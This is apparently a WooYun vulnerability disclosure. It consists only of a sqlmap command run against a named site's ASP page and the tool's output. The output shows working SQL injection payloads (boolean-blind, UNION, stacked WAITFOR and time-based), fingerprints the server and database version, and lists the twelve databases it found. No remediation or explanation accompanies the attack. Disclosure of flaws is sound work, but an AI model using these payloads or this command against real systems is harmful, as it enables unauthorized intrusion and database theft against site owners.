WooYun.org

python sqlmap.py -u 'http://zhejian.com/cmp/sfcx_zy.asp?hyxh=12' --dbs
[02:57:09] [INFO] resuming back-end DBMS 'microsoft sql server'
[02:57:09] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: hyxh
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: hyxh=12' AND 5063=5063 AND 'DzrD'='DzrD
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: hyxh=12' UNION ALL SELECT NULL,CHAR(113)+CHAR(106)+CHAR(114)+CHAR(112)+CHAR(113)+CHAR(78)+CHAR(66)+CHAR(112)+CHAR(73)+CHAR(85)+CHAR(97)+CHAR(110)+CHAR(88)+CHAR(108)+CHAR(84)+CHAR(113)+CHAR(119)+CHAR(121)+CHAR(104)+CHAR(113),NULL,NULL,NULL,NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: hyxh=12'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: hyxh=12' WAITFOR DELAY '0:0:5'--
---
[02:57:09] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[02:57:09] [INFO] fetching database names
available databases [12]:
[*] gjjrjc
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] TaoBaoFuWu
[*] tempdb
[*] ttcoa1
[*] Yougoo_gjxj
[*] zhejian
[*] zj